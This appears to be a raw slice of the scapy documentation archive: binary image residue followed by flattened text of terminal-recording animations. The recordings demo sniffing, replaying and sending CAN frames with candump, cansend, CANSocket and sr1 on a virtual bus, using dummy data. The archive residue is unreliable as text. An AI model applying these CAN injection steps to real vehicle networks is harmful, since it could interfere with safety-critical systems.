‹kٛΔ:וœ.ÄsÙÿ³Q°Ueo›­*ÀP/çeC½ÔDMÔ”:WBù>*p !¿­kîÔ¾Ö h~ÊþióS`0Nx¦—¯u¬¥ÎññÂË)BivH]˜º0u!0Ô§oË¡>°öŒ°Å½B̺-u®ãÓ2!îP¢PØžnyiÜé–ÀÍÄS3o&RaK)þh—BrxVõe÷gUF×ZTnt ˆ3ú˜gNM¥ÎíÇDÕâYcè½{„^ïÝÀv‹•—·[j–j–j–RçH!‡ \BÉEVVVVV° iíÕIÀò“ ?.?)uVù'×[Þ_®7peç§+;ÛÁV&¶ƒ¥ÎŠB~*p !„BˆL¡\B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2… \B!„"S¨À%„B!2å°'h4Êú ÆzTXtCommentxÚmŒA ‚0…ïû‚ÈK¨”Å‚ rÉYˆÕ1VÒŶ„úõÌ,êöøÞ÷"YH-¬WAITING±72ÿIEND®B`‚scapy-2.4.4/doc/scapy/graphics/animations/000077500000000000000000000000001372370053500204735ustar00rootroot00000000000000scapy-2.4.4/doc/scapy/graphics/animations/animation-cansend.svg000077500000000000000000004307101372370053500246140ustar00rootroot00000000000000 cars@scapy ~/r/t/a/p/folders 2019> cars@scapy ~/r/t/a/p/folders 2019> ssh titan cars@scapy ~/r/t/a/p/folders 2019> sudo openfortivpn cars@scapy ~/r/t/a/p/folders 2019> sudo openfortivpn cars@scapy ~/r/t/a/p/folders 2019> sudo openfortivpn cars@scapy ~/r/t/a/p/folders 2019> sudo openfortivpn cars@scapy ~/r/t/a/p/folders 2019> sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vc… cars@scapy ~/r/t/a/p/folders 2019> sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vc… 0 up [sudo] password for cars: cars@scapy ~/r/t/a/p/folders 2019> termtosvg -c /usr/bin/fish -g "120x30" -M 500 -m 10 cars@scapy ~/r/t/a/p/folders 2019> tmux cars@scapy ~/r/t/a/p/folders 2019> tmux cars@scapy ~/r/t/a/p/folders 2019> tmux Welcome to fish, the friendly interactive shellcars@scapy ~/r/t/a/p/folders 2019> sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up[sudo] password for cars: cars@scapy ~/r/t/a/p/folders 2019> tmux [0] 0:bash* "scapy " 09:39 21-Jan-19[cars@scapy folders 2019]$ [cars@scapy folders 2019]$ c [cars@scapy folders 2019]$ ca [cars@scapy folders 2019]$ can [cars@scapy folders 2019]$ cand [cars@scapy folders 2019]$ candu [cars@scapy folders 2019]$ candum [cars@scapy folders 2019]$ candump [cars@scapy folders 2019]$ candump [cars@scapy folders 2019]$ candump v [cars@scapy folders 2019]$ candump vc [cars@scapy folders 2019]$ candump vca [cars@scapy folders 2019]$ candump vcan [cars@scapy folders 2019]$ candump vcan0 [cars@scapy folders 2019]$ candump vcan0 [0] 0:bash* "cars@scapy :~/repos/t" 09:39 21-Jan-19[cars@scapy folders 2019]$ candump - [cars@scapy folders 2019]$ candump -a [cars@scapy folders 2019]$ candump -a [cars@scapy folders 2019]$ candump -a v [cars@scapy folders 2019]$ candump -a vc [cars@scapy folders 2019]$ candump -a vca [cars@scapy folders 2019]$ candump -a vcan [cars@scapy folders 2019]$ candump -a vcan0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[cars@scapy folders 2019]$ candump -a vcan0 [0] 0:candump* "cars@scapy :~/repos/t" 09:39 21-Jan-19[cars@scapy folders 2019]$ candump -L [cars@scapy folders 2019]$ candump -L [cars@scapy folders 2019]$ candump -L v [cars@scapy folders 2019]$ candump -L vc [cars@scapy folders 2019]$ candump -L vca [cars@scapy folders 2019]$ candump -L vcan [cars@scapy folders 2019]$ candump -L vcan0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[cars@scapy folders 2019]$ candump -L vcan0 [cars@scapy folders 2019]$ cang [cars@scapy folders 2019]$ cange [cars@scapy folders 2019]$ cangen [cars@scapy folders 2019]$ cangen [cars@scapy folders 2019]$ cangen v [cars@scapy folders 2019]$ cangen vc [cars@scapy folders 2019]$ cangen vca [cars@scapy folders 2019]$ cangen vcan [cars@scapy folders 2019]$ cangen vcan0 vcan0 58F [4] ED E9 D8 25 vcan0 4A2 [5] AB 5C AA 63 3E vcan0 206 [2] 1C 74 vcan0 26F [8] 3C 06 8B 1E 49 73 B8 6C [cars@scapy folders 2019]$ cangen vcan0 vcan0 58F [4] ED E9 D8 25 '...%' vcan0 4A2 [5] AB 5C AA 63 3E '.\.c>' vcan0 206 [2] 1C 74 '.t' vcan0 26F [8] 3C 06 8B 1E 49 73 B8 6C '<...Is.l' (1548059987.478221) vcan0 58F#EDE9D825 (1548059987.678335) vcan0 4A2#AB5CAA633E (1548059987.878505) vcan0 206#1C74 (1548059988.078676) vcan0 26F#3C068B1E4973B86C [0] 0:cangen* "cars@scapy :~/repos/t" 09:39 21-Jan-19 vcan0 779 [4] E8 65 86 4C vcan0 779 [4] E8 65 86 4C '.e.L' (1548059988.278842) vcan0 779#E865864C vcan0 24C [8] 6C 19 35 6B E4 A9 69 39 vcan0 24C [8] 6C 19 35 6B E4 A9 69 39 'l.5k..i9' (1548059988.479027) vcan0 24C#6C19356BE4A96939 vcan0 0CD [5] 86 39 7E 42 3D vcan0 0CD [5] 86 39 7E 42 3D '.9~B='(1548059988.679199) vcan0 0CD#86397E423D vcan0 1FC [8] 84 47 67 0C 8B 77 0D 09 vcan0 1FC [8] 84 47 67 0C 8B 77 0D 09 '.Gg..w..'(1548059988.879360) vcan0 1FC#8447670C8B770D09 vcan0 38C [2] 75 D3 vcan0 38C [2] 75 D3 'u.'(1548059989.079673) vcan0 38C#75D3 vcan0 557 [1] 6D vcan0 557 [1] 6D 'm'(1548059989.279988) vcan0 557#6D vcan0 653 [8] BD 97 CF 0D C2 90 5A 4F vcan0 653 [8] BD 97 CF 0D C2 90 5A 4F '......ZO'(1548059989.480236) vcan0 653#BD97CF0DC2905A4F vcan0 7B6 [8] 0C 04 13 3C 2F 67 82 0D vcan0 7B6 [8] 0C 04 13 3C 2F 67 82 0D '...</g..'(1548059989.680567) vcan0 7B6#0C04133C2F67820D vcan0 13D [4] 7F AA A7 2A vcan0 13D [4] 7F AA A7 2A '...*'(1548059989.880720) vcan0 13D#7FAAA72A vcan0 383 [8] 6D 35 DC 3A 50 5C 3B 68 vcan0 383 [8] 6D 35 DC 3A 50 5C 3B 68 'm5.:P\;h'(1548059990.081007) vcan0 383#6D35DC3A505C3B68 vcan0 3C0 [3] 8D 70 BE vcan0 3C0 [3] 8D 70 BE '.p.'(1548059990.281337) vcan0 3C0#8D70BE vcan0 18B [2] 48 CD vcan0 18B [2] 48 CD 'H.'(1548059990.481540) vcan0 18B#48CD vcan0 184 [8] 46 95 8E 7A DB 46 4B 75 vcan0 184 [8] 46 95 8E 7A DB 46 4B 75 'F..z.FKu'(1548059990.681664) vcan0 184#46958E7ADB464B75 vcan0 0DF [3] 39 9E 2E vcan0 0DF [3] 39 9E 2E '9..'(1548059990.881803) vcan0 0DF#399E2E^C ^C[cars@scapy folders 2019]$ ^C[cars@scapy folders 2019]$ c ^C[cars@scapy folders 2019]$ ca ^C[cars@scapy folders 2019]$ can ^C[cars@scapy folders 2019]$ cans ^C[cars@scapy folders 2019]$ canse ^C[cars@scapy folders 2019]$ cansen ^C[cars@scapy folders 2019]$ cansend ^C[cars@scapy folders 2019]$ cansend ^C[cars@scapy folders 2019]$ cansend v ^C[cars@scapy folders 2019]$ cansend vc ^C[cars@scapy folders 2019]$ cansend vca ^C[cars@scapy folders 2019]$ cansend vcan ^C[cars@scapy folders 2019]$ cansend vcan0 ^C[cars@scapy folders 2019]$ cansend vcan0 ^C[cars@scapy folders 2019]$ cansend vcan0 1 ^C[cars@scapy folders 2019]$ cansend vcan0 12 ^C[cars@scapy folders 2019]$ cansend vcan0 123 ^C[cars@scapy folders 2019]$ cansend vcan0 123@ ^C[cars@scapy folders 2019]$ cansend vcan0 123@d ^C[cars@scapy folders 2019]$ cansend vcan0 123@de ^C[cars@scapy folders 2019]$ cansend vcan0 123@dea ^C[cars@scapy folders 2019]$ cansend vcan0 123$ ^C[cars@scapy folders 2019]$ cansend vcan0 123$d ^C[cars@scapy folders 2019]$ cansend vcan0 123# ^C[cars@scapy folders 2019]$ cansend vcan0 123#d ^C[cars@scapy folders 2019]$ cansend vcan0 123#de ^C[cars@scapy folders 2019]$ cansend vcan0 123#dea ^C[cars@scapy folders 2019]$ cansend vcan0 123#dead ^C[cars@scapy folders 2019]$ cansend vcan0 123#deadb ^C[cars@scapy folders 2019]$ cansend vcan0 123#deadbe ^C[cars@scapy folders 2019]$ cansend vcan0 123#deadbee vcan0 23C [6] F4 77 B7 6E F3 19^C[cars@scapy folders 2019]$ cansend vcan0 123#deadbeef vcan0 23C [6] F4 77 B7 6E F3 19 '.w.n..'(1548059991.082004) vcan0 23C#F477B76EF319 vcan0 123 [4] DE AD BE EF^C[cars@scapy folders 2019]$ cansend vcan0 123#deadbeef [cars@scapy folders 2019]$ cansend vcan0 123#deadbeef vcan0 123 [4] DE AD BE EF '....'(1548060003.712821) vcan0 123#DEADBEEF[0] 0:bash* "cars@scapy :~/repos/t" 09:40 21-Jan-19[cars@scapy folders 2019]$ cansend vcan0 123#deadbeef (1548060005.255953) vcan0 123#DEADBEEF(1548060005.695813) vcan0 123#DEADBEEF(1548060006.216188) vcan0 123#DEADBEEF cars@scapy ~/r/t/a/p/folders 2019> exit cars@scapy ~/r/t/a/p/folders 2019> exit cars@scapy ~/r/t/a/p/folders 2019> exit cars@scapy ~/r/t/a/p/folders 2019> exit [detached (from session 0)] cars@scapy ~/r/t/a/p/folders 2019> exit scapy-2.4.4/doc/scapy/graphics/animations/animation-rdcandump.svg000077500000000000000000003347501372370053500251650ustar00rootroot00000000000000 cars@scapy ~> cars@scapy ~> c cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> cat candump-2019-01-19_144546.log cars@scapy ~> s cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy >>> >>> l >>> lo >>> loa >>> load >>> load I-search backward: >>> load_layer("can") I-search backward: _ >>> r >>> rd >>> rdc >>> rdca >>> rdcan Welcome to fish, the friendly interactive shellcars@scapy ~> cat candump-2019-01-19_144546.log (1547905546.680570) vcan0 641#DEADBEEF(1547905547.689301) vcan0 641#DEADBEEF(1547905548.699725) vcan0 641#DEADBEEF(1547905549.710648) vcan0 641#DEADBEEF(1547905550.719535) vcan0 641#DEADBEEFcars@scapy ~> scapy INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev689 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft packets like I craft my beer. scccccp///pSP///p p//Y | -- Jean De Clerck sY/////////y caa S//P | cayCyayP//Ya pY/Ya sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> load_layer("can") rdcandump >>> rdcandump >>> rdcandump( >>> rdcandump(" >>> rdcandump("c >>> rdcandump("ca >>> rdcandump("can candump-2019-01-19_144546.log >>> rdcandump("candump-2019-01-19_144546.log >>> rdcandump("candump-2019-01-19_144546.log" >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> rdcandump("candump-2019-01-19_144546.log") >>> prdcandump("candump-2019-01-19_144546.log") >>> pkrdcandump("candump-2019-01-19_144546.log") >>> pktrdcandump("candump-2019-01-19_144546.log") >>> pktsrdcandump("candump-2019-01-19_144546.log") >>> pkts rdcandump("candump-2019-01-19_144546.log") >>> pkts =rdcandump("candump-2019-01-19_144546.log") >>> pkts = rdcandump("candump-2019-01-19_144546.log") >>> p >>> pk >>> pkt >>> pkts >>> pkts = rdcandump("candump-2019-01-19_144546.log") >>> pkts >>> pkt >>> pkt = >>> pkt = >>> pkt = p >>> pkt = pk >>> pkt = pkt >>> pkt = pkts >>> pkt = pkts- >>> pkt = pkts[ >>> pkt = pkts[0 >>> pkt = pkts[0] [<CAN identifier=0x641 length=4 data='\xde\xad\xbe\xef' |>, <CAN identifier=0x641 length=4 data='\xde\xad\xbe\xef' |>, <CAN identifier=0x641 length=4 data='\xde\xad\xbe\xef' |>, <CAN identifier=0x641 length=4 data='\xde\xad\xbe\xef' |>]>>> pkt. >>> pkt.c >>> pkt.co >>> pkt.com >>> pkt = pkts[0] pkt.command >>> pkt.command >>> pkt.command( >>> pkt.command() >>> e >>> ex >>> exi >>> exit >>> pkt.command() "CAN(identifier=1601, data=b'\\xde\\xad\\xbe\\xef', length=4)" >>> exit cars@scapy ~> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-asyncsniffer.svg000066400000000000000000001275641372370053500270170ustar00rootroot00000000000000 WARNING: No route found for IPv6 destination :: (no default route?) aSPY//YASa ayp ayyyyyyySCP//Pp syY//C | Version 2.4.3rc1.dev162 >>> >>> >>> t >>> t >>> t = >>> t = >>> t = AsyncSniffer() >>> t. >>> t.s >>> t.st >>> t.sta >>> t.star >>> t.start >>> t.start( >>> t.start() >>> p >>> pr >>> pri >>> prin >>> print >>> print( >>> print(" >>> print("h >>> print("he >>> print("hey >>> print("hey" >>> print("hey") hey >>> t.sto >>> t.stop >>> t.stop( >>> t.stop() INFO: Can't import matplotlib. Won't be able to plot.WARNING: No route found for IPv6 destination :: (no default route?) aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.3rc1.dev162 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft me if you can. scccccp///pSP///p p//Y | -- IPv6 layer sY/////////y caa S//P | cayCyayP//Ya pY/Ya sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.2.0>>> t = AsyncSniffer() >>> t.start() >>> print("hey") hey >>> t.stop() <Sniffed: TCP:199 UDP:268 ICMP:1 Other:73> >>> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-can.svg000077500000000000000000010604221372370053500250570ustar00rootroot00000000000000 cars@scapy ~> cars@scapy ~> s cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy cars@scapy ~> scapy >>> >>> I-search backward: >>> load_layer("can") I-search backward: l >>> load_layer("can") I-search backward: lo >>> load_layer("can") I-search backward: loa >>> load_layer("can") >>> load_layer("can") I-search backward: load >>> load_layer("can") I-search backward: load_ >>> load_contrib("cansocket") I-search backward: load_c >>> load_contrib("cansocket") I-search backward: load_co >>> load_contrib("cansocket") >>> s >>> s >>> s = >>> s = >>> s = C >>> s = CA >>> s = CAN >>> s = CANS >>> s = CANSo >>> s = CANSoc >>> s = CANSock >>> s = CANSocke >>> s = CANSocket >>> s = CANSocket( >>> s = CANSocket(" >>> s = CANSocket("v >>> s = CANSocket("vc >>> s = CANSocket("vca >>> s = CANSocket("vcan >>> s = CANSocket("vcan0 >>> s = CANSocket("vcan0" >>> s = CANSocket("vcan0") >>> p >>> pk >>> pkt >>> pkt >>> pkt = >>> pkt = >>> pkt = s >>> pkt = s. >>> pkt = s.r >>> pkt = s.re >>> pkt = s.rec >>> pkt = s.recv >>> pkt = s.recv( >>> pkt = s.recv() >>> pkt. >>> pkt.s >>> pkt.sh >>> pkt.sho >>> pkt.show >>> pkt.show( >>> pkt.show() Welcome to fish, the friendly interactive shellcars@scapy ~> scapy INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev689 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | We are in France, we say Skappee. scccccp///pSP///p p//Y | OK? Merci. sY/////////y caa S//P | -- Sebastien Chabal cayCyayP//Ya pY/Ya | sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> load_layer("can") >>> load_contrib("cansocket") INFO: Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can. INFO: Use native CANSocket. Specify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can. >>> s = CANSocket("vcan0") >>> pkt = s.recv() >>> pkt.show() ###[ CAN ]### flags= identifier= 0x641 length= 4 reserved= 0 data= '\xde\xad\xbe\xef'>>> pkt >>> b >>> by >>> byt >>> byte >>> bytes >>> bytes( >>> bytes(p >>> bytes(pk >>> bytes(pkt >>> bytes(pkt) <CAN flags= identifier=0x641 length=4 reserved=0 data='\xde\xad\xbe\xef' |> >>> bytes(pkt) >>> pkts >>> pkts >>> pkts = >>> pkts = >>> pkts = s >>> pkts = s. >>> pkts = s.s >>> pkts = s.sn >>> pkts = s.sni >>> pkts = s.snif >>> pkts = s.sniff >>> pkts = s.sniff( >>> pkts = s.sniff(" >>> pkts = s.sniff(t >>> pkts = s.sniff(ti >>> pkts = s.sniff(tim >>> pkts = s.sniff(time >>> pkts = s.sniff(timeo >>> pkts = s.sniff(timeou >>> pkts = s.sniff(timeout >>> pkts = s.sniff(timeout= >>> pkts = s.sniff(timeout=2 >>> pkts = s.sniff(timeout=2, >>> pkts = s.sniff(timeout=2, >>> pkts = s.sniff(timeout=2, c >>> pkts = s.sniff(timeout=2, co >>> pkts = s.sniff(timeout=2, cou >>> pkts = s.sniff(timeout=2, coun >>> pkts = s.sniff(timeout=2, count >>> pkts = s.sniff(timeout=2, count= >>> pkts = s.sniff(timeout=2, count=1 >>> pkts = s.sniff(timeout=2, count=2 >>> pkts = s.sniff(timeout=2, count=20 >>> pkts = s.sniff(timeout=2, count=20) b'\x00\x00\x06A\x04\x00\x00\x00\xde\xad\xbe\xef' >>> pkts = s.sniff(timeout=2, count=20) >>> pkts >>> f >>> fo >>> for >>> for >>> for p >>> for p >>> for p i >>> for p in >>> for p in >>> for p in p >>> for p in pk >>> for p in pkt >>> for p in pkts >>> for p in pkts: <Sniffed: TCP:0 UDP:0 ICMP:0 Other:20> ...: ...: p ...: pr ...: pri ...: prin ...: print ...: print( ...: print(p ...: print(p. ...: print(p._ ...: print(p.__ ...: print(p.__r ...: print(p.__re ...: print(p.__rep ...: print(p.__repr ...: print(p.__repr_ ...: print(p.__repr__ ...: print(p.__repr__( ...: print(p.__repr__() ...: print(p.__repr__()) >>> for p in pkts: ...: print(p.__repr__()) ...: <CAN flags= identifier=0x641 length=4 reserved=0 data='\xde\xad\xbe\xef' |><CAN flags <CAN flags= identifier= <CAN flags= identifier=0x641 length= <CAN flags= identifier=0x641 length=4 reserved=0 >>> pkt.d >>> pkt.da >>> pkt.dat >>> pkt.data >>> pkt.data >>> pkt.data = >>> pkt.data = >>> pkt.data = b >>> pkt.data = b" >>> pkt.data = b"H >>> pkt.data = b"HE >>> pkt.data = b"HEL >>> pkt.data = b"HELL >>> pkt.data = b"HELLo >>> pkt.data = b"HELLo" >>> pkt.i >>> pkt.id >>> pkt.ide >>> pkt.iden >>> pkt.ident >>> pkt.identi >>> pkt.identif >>> pkt.identifi >>> pkt.identifie >>> pkt.identifier >>> pkt.identifier= >>> pkt.identifier=0 >>> pkt.identifier=0x >>> pkt.identifier=0x2 >>> pkt.identifier=0x24 >>> pkt.identifier=0x241 >>> pkt.data = b"HELLo" >>> pkt.identifier=0x241 >>> s. >>> s.s >>> s.se >>> s.sen >>> s.send >>> s.send( >>> s.send(p >>> s.send(pk >>> s.send(pkt >>> s.send(pkt) <CAN flags= identifier=0x241 length=4 reserved=0 data='HELLo' |> >>> s.send(pkt) >>> pkts = sr >>> pkts = ss >>> pkts = s.sr >>> pkts = s.sr1 >>> pkts = s.sr1( >>> pkts = s.sr1(p >>> pkts = s.sr1(pk >>> pkts = s.sr1(pkt >>> pkts = s.sr1(pkt) 16 >>> pkts = s.sr1(pkt) Begin emission: >>> sr *Finished sending 1 packets.Received 1 packets, got 1 answers, remaining 0 packets sr srbt srflood srp1 srploop sr1 srbt1 srloop srp1flood sr1flood srcan srp srpflood cars@scapy ~> e cars@scapy ~> exit cars@scapy ~> exit cars@scapy ~> exit cars@scapy ~> exit cars@scapy ~> exit cars@scapy ~> exit cars@scapy ~> exit >>> cars@scapy ~> exit scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-canframe.svg000077500000000000000000003153561372370053500261020ustar00rootroot00000000000000 >>> >>> I-search backward: >>> pkt=CAN(identifier=0x1234567, flags="extended", data=b"\x12HELLO") I-search backward: l >>> load_layer("can") I-search backward: lo >>> load_layer("can") I-search backward: loa >>> load_layer("can") I-search backward: load >>> load_layer("can") >>> pkt.show2() I-search backward: p >>> pkt.show2() I-search backward: pk >>> pkt.show2() I-search backward: pkt >>> pkt = CAN(identifier=0x123, data=b"\x12\x34\x55hel") I-search backward: pkt I-search backward: pkt = >>> pkt = CAN(identifier=0x123, data=b"\x12\x34\x55hel") >>> pkt = CAN(identifier=0x123, data=b"\x12\x34\x55hel") >>> p >>> pk >>> pkt >>> pkt. >>> pkt.s >>> pkt.sh >>> pkt.sho >>> pkt.show >>> pkt.show2 >>> pkt.show2( INFO: Can't import PyX. Won't be able to use psdump() or pdfdump(). aSPY//YASa apyyyyCY//////////YCa | sY//////YSpcs scpCY//Pp | Welcome to Scapy ayp ayyyyyyySCP//Pp syY//C | Version 2.4.0.dev689 AYAsAYYYYYYYY///Ps cY//S | pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy SPPPP///a pP///AC//Y | A//A cyP////C | Have fun! p///Ac sC///a | P////YCpc A//A | Craft packets like I craft my beer. scccccp///pSP///p p//Y | -- Jean De Clerck sY/////////y caa S//P | cayCyayP//Ya pY/Ya sY/PsY////YCc aC//Yp sc sccaCY//PCypaapyCP//YSs spCPY//////YPSps ccaacs using IPython 7.1.1>>> load_layer("can") >>> pkt = CAN(identifier=0x123, data=b"\x12\x34\x55hel") >>> pkt.show2() >>> h >>> he >>> hex >>> hexd >>> hexdu >>> hexdum >>> hexdump >>> hexdump( >>> hexdump(p >>> hexdump(pk >>> hexdump(pkt >>> pkt.show2() ###[ CAN ]### flags= identifier= 0x123 length= 6 reserved= 0 data= '\x124Uhel'>>> hexdump(pkt) >>> pkt >>> pkt = >>> pkt = >>> pkt = C >>> pkt = CA >>> pkt = CAN >>> pkt = CAN( >>> pkt = CAN(i >>> pkt = CAN(id >>> pkt = CAN(ide >>> pkt = CAN(iden >>> pkt = CAN(ident >>> pkt = CAN(identi >>> pkt = CAN(identif >>> pkt = CAN(identifi >>> pkt = CAN(identifie >>> pkt = CAN(identifier >>> pkt = CAN(identifier= >>> pkt = CAN(identifier=0 >>> pkt = CAN(identifier=0x >>> pkt = CAN(identifier=0x1 >>> pkt = CAN(identifier=0x12 >>> pkt = CAN(identifier=0x123 >>> pkt = CAN(identifier=0x1234 >>> pkt = CAN(identifier=0x12345 >>> pkt = CAN(identifier=0x123456 >>> pkt = CAN(identifier=0x1234567 >>> pkt = CAN(identifier=0x1234567, >>> pkt = CAN(identifier=0x1234567, >>> pkt = CAN(identifier=0x1234567, f >>> pkt = CAN(identifier=0x1234567, fl >>> pkt = CAN(identifier=0x1234567, fla >>> pkt = CAN(identifier=0x1234567, flag >>> pkt = CAN(identifier=0x1234567, flags >>> pkt = CAN(identifier=0x1234567, flags= >>> pkt = CAN(identifier=0x1234567, flags=" >>> pkt = CAN(identifier=0x1234567, flags="e >>> pkt = CAN(identifier=0x1234567, flags="ex >>> pkt = CAN(identifier=0x1234567, flags="ext >>> pkt = CAN(identifier=0x1234567, flags="exte >>> pkt = CAN(identifier=0x1234567, flags="exten >>> pkt = CAN(identifier=0x1234567, flags="extend >>> pkt = CAN(identifier=0x1234567, flags="extende >>> pkt = CAN(identifier=0x1234567, flags="extended >>> pkt = CAN(identifier=0x1234567, flags="extended" >>> pkt = CAN(identifier=0x1234567, flags="extended", >>> pkt = CAN(identifier=0x1234567, flags="extended", >>> pkt = CAN(identifier=0x1234567, flags="extended", d >>> pkt = CAN(identifier=0x1234567, flags="extended", da >>> pkt = CAN(identifier=0x1234567, flags="extended", dat >>> pkt = CAN(identifier=0x1234567, flags="extended", data >>> pkt = CAN(identifier=0x1234567, flags="extended", data= >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b" >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"H >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"HE >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"HEL >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"HELL >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"HELLO >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"HELLO" >>> hexdump(pkt) 0000 00 00 01 23 06 00 00 00 12 34 55 68 65 6C ...#.....4Uhel >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"HELLO") >>> pkt.show( >>> pkt = CAN(identifier=0x1234567, flags="extended", data=b"HELLO") >>> pkt.show() >>> pkt.show() flags= extended identifier= 0x1234567 length= None data= 'HELLO' length= 5 hexdump 0000 81 23 45 67 05 00 00 00 48 45 4C 4C 4F .#Eg....HELLO >>> scapy-2.4.4/doc/scapy/graphics/animations/animation-scapy-cansockets-mitm.svg000077500000000000000000027456511372370053500274360ustar00rootroot00000000000000 [7] 0:bash* "scapy " 16:44 21-Jan-19[cars@scapy folders 2019]$ [7] 0:bash* "cars@scapy :~/repos/t" 16:44 21-Jan-19[cars@scapy folders 2019]$ ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[cars@scapy folders 2019]$ [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ ────────────────────────────────────────────────────────────┴───────────────────────────────────────────────────────────[cars@scapy folders 2019]$ [cars@scapy folders 2019]$ c [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ ca [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ can [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ cand [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candu [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candum [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump v [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vc [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vca [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan0 [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan0 vcan0 6C7 [7] 5D 62 D1 0B B8 1E FD vcan0 151 [8] 41 FA 15 22 62 9F B6 0D vcan0 19F [2] E3 C9 vcan0 0D5 [8] 7D 8A 99 2E 74 A3 03 54 [cars@scapy folders 2019]$ [cars@scapy folders 2019]$ candump vcan0 vcan0 3B8 [7] AF 95 81 77 D2 8A 6C vcan0 340 [8] D3 EE 40 17 6C C1 93 06 [7] 0:candump* "cars@scapy :~/repos/t" 16:44 21-Jan-19[cars@scapy folders 2019]$ vcan0 6C7 [7] 5D 62 D1 0B B8 1E FD vcan0 065 [8] CB A9 7D 30 79 51 74 74 [cars@scapy folders 2019]$ vcan0 151 [8] 41 FA 15 22 62 9F B6 0D vcan0 557 [4] 6D 78 75 50 [cars@scapy folders 2019]$ vcan0 19F [2] E3 C9 vcan0 5CB [8] D7 BA 0D 47 1C 7F 5E 76 [cars@scapy folders 2019]$ vcan0 0D5 [8] 7D 8A 99 2E 74 A3 03 54 [cars@scapy folders 2019]$ c vcan0 0D5 [8] 7D 8A 99 2E 74 A3 03 54 vcan0 439 [8] 